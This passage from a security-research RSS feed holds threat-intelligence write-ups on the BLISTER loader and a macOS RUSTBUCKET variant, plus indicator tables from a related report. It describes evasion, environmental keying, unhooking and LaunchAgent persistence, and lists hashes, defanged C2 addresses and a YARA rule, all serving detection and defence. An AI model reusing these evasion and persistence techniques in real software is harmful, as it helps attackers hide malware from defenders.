|------------------------------------------------------------------|---------|--------------------|----------------|
| <code>ce4dfda471f2d3fa4e000f9e3839c3d9fbf2d93ea7f89101161ce97faceadf9a</code> | SHA-256 | EAGERBEE shellcode | iconcaches.mui |
| <code>29c90ac124b898b2ff2a4897921d5f5cc251396e8176fc8d6fa475df89d9274d</code> | SHA-256 | DOWNTOWN           | In-memory DLL  |
| <code>185.82.217[.]164</code>                                                 | ipv4    | EAGERBEE C2        |                |
| <code>195.123.245[.]79</code>                                                 | ipv4    | EAGERBEE C2        |                |
| <code>45.90.58[.]103</code>                                                   | ipv4    | RUDEBIRD C2        |                |
| <code>185.195.237[.]123</code>                                                | ipv4    | RUDEBIRD C2        |                |</p>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">https://www.elastic.co/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry</a> </li>
<li><a href="https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns</a> </li>
<li><a href="https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/">https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/</a> </li>
<li><a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/">https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/</a> </li>
<li><a href="https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py">https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py</a> </li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/actor/ta428">https://malpedia.caad.fkie.fraunhofer.de/actor/ta428</a> </li>
<li><a href="https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/">https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/introducing-the-ref5961-intrusion-set</link>
    <guid isPermaLink="false">introducing-the-ref5961-intrusion-set</guid>
    <category><![CDATA[Threat Intelligence]]></category>
    <dc:creator><![CDATA[Daniel Stepanic,Salim Bitam,Cyril François,Seth Goodwin,Andrew Pease]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt89c5f03e9c18a21c/6a7c8806ead8ec2abeba4a34/photo-edited-08@2x.jpg" length="0" type="image/jpeg"/>
    <pubDate>Wed, 04 Oct 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Revisiting BLISTER: New development of the BLISTER loader]]></title>
    <description><![CDATA[Elastic Security Labs dives deep into the recent evolution of the BLISTER loader malware family.]]></description>
    <content:encoded><![CDATA[<h2 id="preamble">Preamble</h2>
<p>In a fast-paced and ever-changing world of cybercrime threats, the tenacity and adaptability of malicious actors is a significant concern. BLISTER, a malware loader initially <a href="https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign">discovered</a> by Elastic Security Labs in 2021 and associated with financially-motivated intrusions, is a testament to this trend as it continues to develop additional capabilities. Two years after its initial discovery, BLISTER continues to receive updates while flying under the radar, gaining momentum as an emerging threat. Recent findings from Palo Alto’s <a href="https://twitter.com/Unit42_Intel/status/1684583246032506880">Unit 42</a> describe an updated <a href="https://redcanary.com/threat-detection-report/threats/socgholish/">SOCGHOLISH</a> infection chain used to distribute BLISTER and deploy a payload from <a href="https://github.com/its-a-feature/Mythic">MYTHIC</a>, an open-source Command and Control (C2) framework.</p>
<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>Elastic Security Labs has been monitoring malware loader BLISTER ramping up with new changes, and ongoing development with signs of imminent threat activity</li>
<li>New BLISTER update includes keying feature that allows for precise targeting of victim networks and lowers exposure within VM/sandbox environments</li>
<li>BLISTER now integrates techniques to remove any process instrumentation hook and has modified its configuration with multiple revisions, now encompassing additional fields and flags.</li>
</ul>
<h2 id="overview">Overview</h2>
<p>Our research uncovered new functionality that was previously absent within the BLISTER family, indicating ongoing development. However, the malware authors continue to use a distinctive technique of embedding malicious code in otherwise legitimate applications. This approach superficially appears successful, given the low rates of detection for many vendors as seen in VirusTotal. The significant amount of benign code and use of encryption to protect the malicious code are likely two factors impacting detection.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt99a70cc9fce492cf/6a7c929ade23157b3dfd20f4/image11.png" alt="Example of BLISTER detection rates on initial upload
" title="Example of BLISTER detection rates on initial upload" /></p>
<p>Recently, Elastic Security Labs has observed many new BLISTER loaders in the wild. After analyzing various samples, it’s clear that the malware authors have made some changes and have been watching the antivirus industry closely. In one <a href="https://www.virustotal.com/gui/file/b4f37f13a7e9c56ea95fa3792e11404eb3bdb878734f1ca394ceed344d22858f">sample</a> from early June, we can infer that the authors were testing with a non-production loader that displays a Message Box displaying the strings “Test”.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt04d22e78d5078245/6a7c929de02fac8bf35d083b/image2.png" alt="BLISTER payload with Message Box test" title="BLISTER payload with Message Box test" /></p>
<p>Readers can see a disassembled view of this functionality below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd2c0f467b057241c/6a7c92a042a11780dd956427/image4.jpg" alt="BLISTER testing payloads with Message Box
" title="BLISTER testing payloads with Message Box" /></p>
<p>By the end of July, we observed campaigns involving a new BLISTER loader that targeted victim organizations to deploy the MYTHIC implant.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc4b5113319587b8f/6a7c92a2448e4e89935baedd/image6.jpg" alt="MYTHIC running inside injected WerFault process
" title="MYTHIC running inside injected WerFault process" /></p>
<p>At the time of this writing, Elastic Security Labs is seeing a stream of BLISTER samples which deploy MYTHIC and have very low rates of detection. </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt233fa7cea98dcd5b/6a7c92a577b034d88d3f98b2/image1.png" alt="Wave of BLISTER samples in August 2023" title="Wave of BLISTER samples in August 2023" /></p>
<h2 id="comparativeanalyses">Comparative analyses</h2>
<h3 id="smugglingmaliciouscode">Smuggling malicious code</h3>
<p>The authors behind BLISTER employ a consistent strategy of embedding BLISTER's malicious code within a legitimate library. The most recent variants of this loader have targeted the <a href="https://www.videolan.org/vlc/">VLC</a> Media Player library to smuggle their malware into victim environments. This blend of benign and malicious code seems effective at defeating some kinds of machine-learning models.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf0706bec4c5b9a5e/6a7c92a8448e4e2f2c5baee1/image10.png" alt="Meta data of BLISTER sample" title="Meta data of BLISTER sample" /></p>
<p>The following is a comparison between a legitimate VLC DLL and one that is infected with BLISTER’s code. In the infected sample, the entry point that references malicious code has been indicated in red. This methodology is similar to prior BLISTER variants.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2f4d7bb5fc2ddc56/6a7c92abead8ec0d48ba4c50/image8.png" alt="Comparison between original and patched VLC library" title="Comparison between original and patched VLC library" /></p>
<h3 id="differenthashingalgorithm">Different hashing algorithm</h3>
<p>One of the changes implemented since our last <a href="https://www.elastic.co/security-labs/blister-loader">write-up</a> is the adoption of a different hashing algorithm used in the core and in the loader part of BLISTER. While the previous version used simple logic to shift bytes, this new version includes a hard-coded seed with XOR and multiplication operations. Researchers speculate that changing the hashing approach helps to evade antimalware products that rely on YARA signatures.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8667b7cfbcb56a45/6a7c92ad96b5a615668758c4/image13.png" alt="Disassembled hashing algorithm" title="Disassembled hashing algorithm" /></p>
<h3 id="configurationretrieval">Configuration retrieval</h3>
<p>Following the decryption of malicious code by the BLISTER’d loader, it employs an identical memory scanning method to identify the configuration data blob. This is accomplished by searching for a predetermined, hardcoded memory pattern. A notable contrast from the earlier iteration of BLISTER lies in the fact that the configuration is now decrypted in conjunction with the core code, rather than being treated as a separate entity.</p>
<h3 id="environmentalkeying">Environmental keying</h3>
<p>A recent addition to BLISTER is the capability to exclusively execute on designated machines. This behavior is activated by configuring the appropriate flag within the malware’s configuration. Subsequently, the malware proceeds to extract the machine's domain name using the <code>GetComputerNameExW</code> Windows API. Following this, the domain name is hashed using the previously mentioned algorithm, and the resulting hash is then compared to a hash present in the configuration. This functionality is presumably deployed for the purpose of targeted attacks or for testing scenarios, ensuring that the malware refrains from infecting unintended systems such as those employed by malware researchers.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltdcd7d5b1e3a700d7/6a7c92b0b437701e544d1324/image12.png" alt="Environmental keying feature" title="Environmental keying feature" /></p>
<p>One of the few malware analysis tools capable of quickly exposing this behavior is the awesome <a href="https://github.com/hasherezade/tiny_tracer">Tiny Tracer</a> utility by <a href="https://twitter.com/hasherezade">hasherezade</a>. We’ve included an excerpt from Tiny_Tracer below which captures the BLISTER process immediately terminating after the <code>GetComputerNameExW</code> validation is performed in a sandboxed analysis VM.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc815308ccfa2d592/6a7c92b33ce8e2cc87cefa20/image15.png" alt="TinyTracer logs" title="TinyTracer logs" /></p>
<h3 id="timebasedantidebuggingfeature">Time-based anti-debugging feature</h3>
<p>Similar to its predecessors, the malware incorporates a time-based anti-debugging functionality. However, unlike the previous versions in which the timer was hardcoded, the updated version introduces a new field in the configuration. This field enables the customization of the sleep timer, with a default value of 10 minutes. This default interval remains unchanged from prior iterations of BLISTER.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7e3f0ec4c4a85607/6a7c92b5da3d05811e634099/image9.png" alt="Time-Based Anti-Debug Feature" title="Time-Based Anti-Debug Feature" /></p>
<h3 id="unhookprocessinstrumentationtodetectsyscalls">Unhook process instrumentation to detect syscalls</h3>
<p>In this latest version, BLISTER introduces noteworthy functionality: it unhooks any ongoing process instrumentation, a <a href="https://github.com/ionescu007/HookingNirvana/blob/master/Esoteric%20Hooks.pdf">tactic</a> designed to circumvent userland syscall detection mechanisms upon which certain EDR solutions are based.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf432328c4c2a5b86/6a7c92b942a117eaf095642d/image3.png" alt="Unhooking process instrumentation" title="Unhooking process instrumentation" /></p>
<h3 id="blistersconfiguration">BLISTER's configuration</h3>
<p>The BLISTER configuration structure has also been changed with the latest variants. Two new fields have been added and the flag field at offset 0 has been changed from a WORD to a DWORD value. The new fields pertain to the hash of the domain for environmental keying and the configurable sleep time; these field values are at offset 4 and 12 respectively. The following is the updated structure of the configuration:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta28e1e7bdb7fd14e/6a7c92bb05b7b51d2a185d9b/image14.png" alt="Configuration structure" title="Configuration structure" /></p>
<p>Changes have also been made to the configuration flags, allowing the operator to activate different functions within the malware. Researchers have provided an updated list of functions built upon our prior research into BLISTER.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt35be6a9b5f4d27a9/6a7c92beb437704f924d1328/image7.png" alt="Configuration flags enumeration" title="Configuration flags enumeration" /></p>
<h2 id="payloadextractorupdate">Payload extractor update</h2>
<p>In our previous research publication, we introduced an efficient payload extractor tailored to dissect and extract the configuration and payload of the loader. To dissect the most recent BLISTER variants and capture these new details, we enhanced our extractor which is available <a href="https://github.com/elastic/labs-releases/tree/main/tools/blister">here</a>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7a4e6751c7d47290/6a7c92c180ee3892a360d40f/image5.png" alt="Configuration extractor" title="Configuration extractor" /></p>
<h2 id="conclusion">Conclusion</h2>
<p><a href="https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html">BLISTER</a> is one small part of the global cybercriminal ecosystem, providing financially-motivated threats to gain access to victim environments and avoid detection by security sensors. The community should consider these new developments and assess the efficacy of BLISTER detections, Elastic Security Labs will continue to monitor this threat and share actionable guidance.</p>
<h2 id="detectionlogic">Detection logic</h2>
<h3 id="prevention">Prevention</h3>
<ul>
<li><p><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Blister.yar">Windows.Trojan.Blister</a></p>
<h3 id="detection">Detection</h3></li>
<li><p><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_windows_error_manager_reporting_masquerading.toml">Windows Error Manager/Reporting Masquerading</a></p></li>
<li><p><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_operation_via_direct_syscall.toml">Potential Operation via Direct Syscall</a></p></li>
<li><p><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml">Potential Masquerading as Windows Error Manager</a></p></li>
<li><p><a href="https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_evasion_registry_startup_shell_folder_modified.toml">Unusual Startup Shell Folder Modification</a></p></li>
<li><p><a href="https://github.com/elastic/detection-rules/blob/ef432d0907548abf7699fa5d86150dc6b4133125/rules_building_block/defense_evasion_masquerading_vlc_dll.toml">Potential Masquerading as VLC DLL</a></p></li>
</ul>
<h3 id="yara">YARA</h3>
<p>Elastic Security has created <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Blister.yar">YARA rules</a> to identify this activity. Below is the latest rule that captures the new update to BLISTER.</p>
<pre><code>rule Windows_Trojan_Blister {
    meta:
        author = "Elastic Security"
        creation_date = "2023-08-02"
        last_modified = "2023-08-08"
        os = "Windows"
        arch = "x86"
        category_type = "Trojan"
        family = "Blister"
        threat_name = "Windows.Trojan.Blister"
        license = "Elastic License v2"
    strings:
        $b_loader_xor = { 48 8B C3 49 03 DC 83 E0 03 8A 44 05 48 [2-3] ?? 03 ?? 4D 2B ?? 75 }
        $b_loader_virtual_protect = { 48 8D 45 50 41 ?? ?? ?? ?? 00 4C 8D ?? 04 4C 89 ?? ?? 41 B9 04 00 00 00 4C 89 ?? F0 4C 8D 45 58 48 89 44 24 20 48 8D 55 F0 }
    condition:
        all of them
}
</code></pre>
<h2 id="observedadversarytacticsandtechniques">Observed adversary tactics and techniques</h2>
<p>Elastic uses the MITRE ATT&amp;CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h3 id="tactics">Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
</ul>
<h2 id="techniquessubtechniques">Techniques / Sub techniques</h2>
<p>Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1218/011/">System Binary Proxy Execution: Rundll32</a></li>
<li><a href="https://attack.mitre.org/techniques/T1480/001/">Execution Guardrails: Environmental Keying</a></li>
<li><a href="https://attack.mitre.org/techniques/T1547/001/">Registry Run Keys / Startup Folder</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/012/">Process Injection: Process Hollowing</a></li>
</ul>
<h2 id="references">References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://twitter.com/Unit42_Intel/status/1684583246032506880?s=20">Palo Alto Unit42</a></li>
<li><a href="https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html">Trendmicro</a></li>
<li><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.blister">Malpedia</a></li>
</ul>
<h2 id="observables">Observables</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/blister">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<p>| Indicator | Type | Reference |
|-----------|------|-----------|
| 5fc79a4499bafa3a881778ef51ce29ef015ee58a587e3614702e69da304395db | sha256 | BLISTER loader DLL |</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/revisiting-blister-new-developments-of-the-blister-loader</link>
    <guid isPermaLink="false">revisiting-blister-new-developments-of-the-blister-loader</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam,Daniel Stepanic]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt173022d6b9b24f5a/6a7c92c351156af5fb2bcc2d/cracked-lava.jpg" length="0" type="image/jpeg"/>
    <pubDate>Thu, 24 Aug 2023 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[The DPRK strikes using a new variant of RUSTBUCKET]]></title>
    <description><![CDATA[Watch out! We’ve recently discovered a variant of RUSTBUCKET. Read this article to understand the new capabilities we’ve observed, as well as how to identify it in your own network.]]></description>
    <content:encoded><![CDATA[<h2 id="keytakeaways">Key takeaways</h2>
<ul>
<li>The RUSTBUCKET malware family is in an active development phase, adding built-in persistence and focusing on signature reduction.</li>
<li>REF9135 actors are continually shifting their infrastructure to evade detection and response.</li>
<li>The DPRK continues financially motivated attacks against cryptocurrency service providers.</li>
<li>If you are running Elastic Defend, you are protected from REF9135</li>
</ul>
<h2 id="preamble">Preamble</h2>
<p>The Elastic Security Labs team has detected a new variant of the RUSTBUCKET malware, a family that has been previously attributed to the BlueNorOff group by <a href="https://www.jamf.com/blog/bluenoroff-apt-targets-macos-rustbucket-malware/">Jamf Threat Labs</a> in April 2023.</p>
<p>This variant of RUSTBUCKET, a malware family that targets macOS systems, adds persistence capabilities not previously observed and, at the time of reporting, is undetected by VirusTotal signature engines. Elastic Defend behavioral and prebuilt detection rules provide protection and visibility for users. We have also released a signature to prevent this malware execution.</p>
<p>The research into REF9135 used host, binary, and network analysis to identify and attribute intrusions observed by this research team, and other intelligence groups, with high confidence to the Lazarus Group; a cybercrime and espionage organization operated by the Democratic People’s Republic of North Korea (DPRK).</p>
<p>This research will describe:</p>
<ul>
<li>REF9135’s use of RUSTBUCKET for sustained operations at a cryptocurrency payment services provider</li>
<li>Reversing of an undetected variant of RUSTBUCKET that adds a built-in persistence mechanism</li>
<li>How victimology, initial infection, malware, and network C2 intersections from first and third-party collection align with previous Lazarus Group reporting</li>
</ul>
<h2 id="rustbucketcodeanalysis">RUSTBUCKET code analysis</h2>
<h3 id="overview">Overview</h3>
<p>Our research has identified a persistence capability not previously seen in the RUSTBUCKET family of malware, leading us to believe that this family is under active development. Additionally, at the time of publication, this new variant has zero detections on VirusTotal and is leveraging a dynamic network infrastructure methodology for command and control.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltfb1a546d0bea29ae/6a7c755f73d9bdb156297a20/image1.jpg" alt="Execution flow of REF9135" title="Execution flow of REF9135" /></p>
<h3 id="stage1">Stage 1</h3>
<p>During Stage 1, the process begins with the execution of an AppleScript utilizing the <strong>%2Fusr%2Fbin%2Fosascript</strong> command. This AppleScript is responsible for initiating the download of the Stage 2 binary from the C2 using cURL. This session includes the string <strong>pd</strong> in the body of the HTTP request and <strong>cur1-agent</strong> as the User-Agent string which saves the Stage 2 binary to <strong>%2Fusers%2Fshared%2F.pd,</strong> (<a href="https://www.virustotal.com/gui/file/7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8">7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8</a>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt56ec61ac50a2f2cd/6a7c7561da3d055119633b4b/image2.jpg" alt="Stage 1 command line" title="Stage 1 command line" /></p>
<h3 id="stage2">Stage 2</h3>
<p>The Stage 2 binary ( <strong>.pd</strong> ) is compiled in Swift and operates based on command-line arguments. The binary expects a C2 URL to be provided as the first parameter when executed. Upon execution, it invokes the <strong>downAndExec</strong> function, which is responsible for preparing a POST HTTP request. To initiate this request, the binary sets the User-Agent string as <strong>mozilla%2F4.0 (compatible; msie 8.0; windows nt 5.1; trident%2F4.0)</strong> and includes the string <strong>pw</strong> in the body of the HTTP request.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt657cf4826472450a/6a7c756473d9bd4c42297a24/image12.jpg" alt="Setting the HTTP parameters before sending the request" title="Setting the HTTP parameters before sending the request" /></p>
<p>During execution, the malware utilizes specific macOS APIs for various operations. It begins with <a href="https://developer.apple.com/documentation/foundation/nsfilemanager">NSFileManager's</a> <strong>temporaryDirectory</strong> function to obtain the current temporary folder, then generates a random UUID using <a href="https://developer.apple.com/documentation/foundation/nsuuid">NSUUID's</a> <strong>UUID.init</strong> method. Finally, the malware combines the temporary directory path with the generated UUID to create a unique file location and writes the payload to it.</p>
<p>Once the payload, representing Stage 3 of the attack is written to disk, the malware utilizes <a href="https://developer.apple.com/documentation/foundation/nstask">NSTask</a> to initiate its execution.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0eb6c3cf2e25b72f/6a7c7567e88c65b7f900563e/image11.jpg" alt="Generating the Stage 3 file path" title="Generating the Stage 3 file path" /></p>
<h3 id="stage3">Stage 3</h3>
<p>In Stage 3, the malware (<a href="https://www.virustotal.com/gui/file/9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747">9ca914b1cfa8c0ba021b9e00bda71f36cad132f27cf16bda6d937badee66c747</a>) is a FAT macOS binary that supports both ARM and Intel architectures written in Rust. It requires a C2 URL to be supplied as a parameter.</p>
<p>The malware initiates its operations by dynamically generating a 16-byte random value at runtime. This value serves as a distinctive identifier for the specific instance of the active malware. Subsequently, the malware proceeds to gather comprehensive system information, including:</p>
<ul>
<li>Computer name</li>
<li>List of active processes</li>
<li>Current timestamp</li>
<li>Installation timestamp</li>
<li>System boot time</li>
<li>Status of all running processes within the system</li>
</ul>
<p>The malware establishes its initial connection to the C2 server by transmitting the gathered data via a POST request. The request is accompanied by a User-Agent string formatted as <strong>Mozilla%2F4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident%2F4.0)</strong>.</p>
<p>Upon receiving the request, the C2 server responds with a command ID, which serves as an instruction for the malware. The malware is designed to handle only two commands.</p>
<h4 id="commandid0x31">Command ID 0x31</h4>
<p>This command directs the malware to self-terminate.</p>
<h4 id="commandid0x30">Command ID 0x30</h4>
<p>This command enables the operator to upload malicious Mach-O binaries or shell scripts to the system and execute them. The payload is stored in a randomly generated temporary path and created within the current user TMP directory following the naming convention of <strong><code>$TMPDIR%2F.\&lt;8 random digits\&gt;</code></strong></p>
<p>Below is a summary of the command structure, indicating the constants, arguments, and payload components for easy comprehension.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt44600bf37dff2b0c/6a7c756a77b0341cfa3f93b3/image5.jpg" alt="Command structure example" title="Command structure example" /></p>
<p>The malware proceeds by granting execution permissions to the uploaded file using the <strong>chmod</strong> API.</p>
<p>After executing the payload, the malware sends a status update to the server, notifying it of the completed execution, and then sleeps for 60 seconds. Following this delay, the malware loops to collect system information once again and remains in a waiting state, anticipating the arrival of the next command from the server</p>
<h3 id="theundetectedversionofrustbucket">The undetected version of RUSTBUCKET</h3>
<p>Using code similarities from the sample in our telemetry, we searched VirusTotal and identified an undetected variant of RUSTBUCKET.</p>
<p>As of the publication of this research, the <a href="https://www.virustotal.com/gui/file/de81e5246978775a45f3dbda43e2716aaa1b1c4399fe7d44f918fccecc4dd500">newly discovered version</a> of the malware has not been flagged by any antivirus engines on VirusTotal. A thorough analysis of the sample brought to light the addition of a new persistence capability and C2 infrastructure. The behavioral rules for Elastic Defend prevent, and Elastic’s prebuilt detection rules identify, this activity. We have also released a signature that will prevent this new variant of RUSTBUCKET.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3824785cb24cea30/6a7c756d437e0f607ddd5376/image7.png" alt="VirusTotal results at the time of publication" title="VirusTotal results at the time of publication" /></p>
<h3 id="persistence">Persistence</h3>
<p>A predominant method utilized by malware to achieve persistence on macOS is through the utilization of LaunchAgents. In macOS, users have individual LaunchAgents folders within their Library directory, enabling them to define code that executes upon each user login. Additionally, a system-level LaunchAgents folder exists, capable of executing code for all users during the login process. Elastic Defend monitors for the creation of LaunchAgents and LaunchDaemons containing malicious or suspicious values as a way to detect these persistence techniques.</p>
<p>In the case of this updated RUSTBUCKET sample, it establishes its own persistence by adding a plist file at the path <strong><code>%2FUsers%2F\&lt;user\&gt;%2FLibrary%2FLaunchAgents%2Fcom.apple.systemupdate.plist</code></strong> , and it copies the malware’s binary to the following path <strong><code>%2FUsers%2F\&lt;user\&gt;%2FLibrary%2FMetadata%2FSystem Update</code></strong>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt9f26f250c2df4690/6a7c757173d9bd91aa297a2e/image9.jpg" alt="File content of plist used for persistence" title="File content of plist used for persistence" /></p>
<p>There are several elements of the plist file, using standard true%2Ffalse or string values:</p>
<ul>
<li><strong>Label:</strong> The key "Label" specifies the name of the LaunchAgent, which in this case is <strong>com.apple.systemupdate</strong>. This expects a string value.</li>
<li><strong>RunAtLoad:</strong> This indicates that the LaunchAgent should execute its associated code immediately upon loading, specifically during system startup or user login. This expects a true%2Ffalse value.</li>
<li><strong>LaunchOnlyOnce:</strong> This prevents the malware from being executed multiple times concurrently and expects a true%2Ffalse value.</li>
<li><strong>KeepAlive:</strong> This key instructs the system to keep the LaunchAgent running and relaunch it if it terminates unexpectedly. This expects a true%2Ffalse value.</li>
<li><strong>ProgramArguments:</strong> The "ProgramArguments" key specifies an array of strings that define the program or script to be executed by the LaunchAgent. This expects a string value and in this case, the LaunchAgent executes the file located at <strong>"<code>%2FUsers%2F\&lt;user\&gt;%2FLibrary%2FMetadata%2FSystem Update</code>"</strong> and provides the C2 URL <strong>"https:%2F%2Fwebhostwatto.work[.]gd"</strong> as an argument to the malware.</li>
</ul>
<h2 id="rustbucketandref9135analysis">RUSTBUCKET and REF9135 analysis</h2>
<h3 id="overview-1">Overview</h3>
<p>The RUSTBUCKET campaign has previously been associated with BlueNorOff by Jamf and Sekoia.io. BlueNorOff is believed to be operating at the behest of the DPRK for the purposes of financial gain in order to ease the strain of global sanctions. BlueNorOff is a sub-unit of the overarching DPRK offensive cyber attack organization, the <a href="https://attack.mitre.org/groups/G0032/">Lazarus Group</a>. The <a href="https://www.nytimes.com/interactive/2018/05/03/magazine/money-issue-bangladesh-billion-dollar-bank-heist.html">2016 Bangladesh Bank robbery</a> stands out as BlueNorOff's most notorious attack, wherein their objective was to illicitly transfer over $850M from the Federal Reserve Bank of New York account owned by Bangladesh Bank, the central bank of Bangladesh, by exploiting the SWIFT network.</p>
<blockquote>
  <p>As an analyst note, if you’re interested in a tremendously verbose and detailed walkthrough of this intrusion, Geoff White and Jean Lee released a 19-part podcast through the <a href="https://www.bbc.co.uk/programmes/w13xtvg9/episodes/downloads">BBC World Service</a> that is an unbelievable account of this event.</p>
</blockquote>
<h3 id="networkinginfrastructure">Networking infrastructure</h3>
<p>The persistence mechanism identified previously calls out to <strong>https:%2F%2Fwebhostwatto.work[.]gd</strong>. Third-party research into this URL indicates that 12%2F89 <a href="https://www.virustotal.com/gui/url/e299c9f2233f025256ab29d53d070a8f94d1c2c1a2b6f3a7c13e16df185e9e32/detection">VirusTotal</a> vendors have identified it as malicious, and it exists within a community collection documenting the <a href="https://www.cyfirma.com/outofband/tracking_dangerouspassword_campaign_by_lazarusgroup/">DangerousPassword phishing campaign</a>.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3aa176a7db4cd963/6a883cccb74e9d819b4494c1/DPRK-strikes-using-a-new-variant-of-rustbucket-image6.png" title="VT detections and community collections for https://webhostwatto.work[.]gd">VT detections and community collections for https://webhostwatto.work[.]gd</a></p>
<p>VirusTotal <a href="https://www.virustotal.com/gui/domain/webhostwatto.work.gd/detection">last saw</a> the domain pointing to <strong>104.168.167[.]88</strong>. Which has been specifically identified in a Sekoia.io <a href="https://blog.sekoia.io/bluenoroffs-rustbucket-campaign/">blog</a> in May as part of BlueNorOff’s RUSTBUCKET campaign.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1a0b7b187c2b37ee/6a883cccc8ced9060a054165/DPRK-strikes-using-a-new-variant-of-rustbucket-image4.jpg" title="Updated RUSTBUCKET IP (104.168.167[.]88) previously identified by Sekoia.io">Updated RUSTBUCKET IP (104.168.167[.]88) previously identified by Sekoia.io</a></p>
<p>Further connecting <strong>webhostwatto.work[.]gd</strong> to DangerousPassword, BlueNorOff, and the DPRK campaigns, this domain shares a TLS leaf certificate fingerprint hash ( <strong>1031871a8bb920033af87078e4a418ebd30a5d06152cd3c2c257aecdf8203ce6</strong> ) with another domain, <strong>companydeck[.]online</strong>.</p>
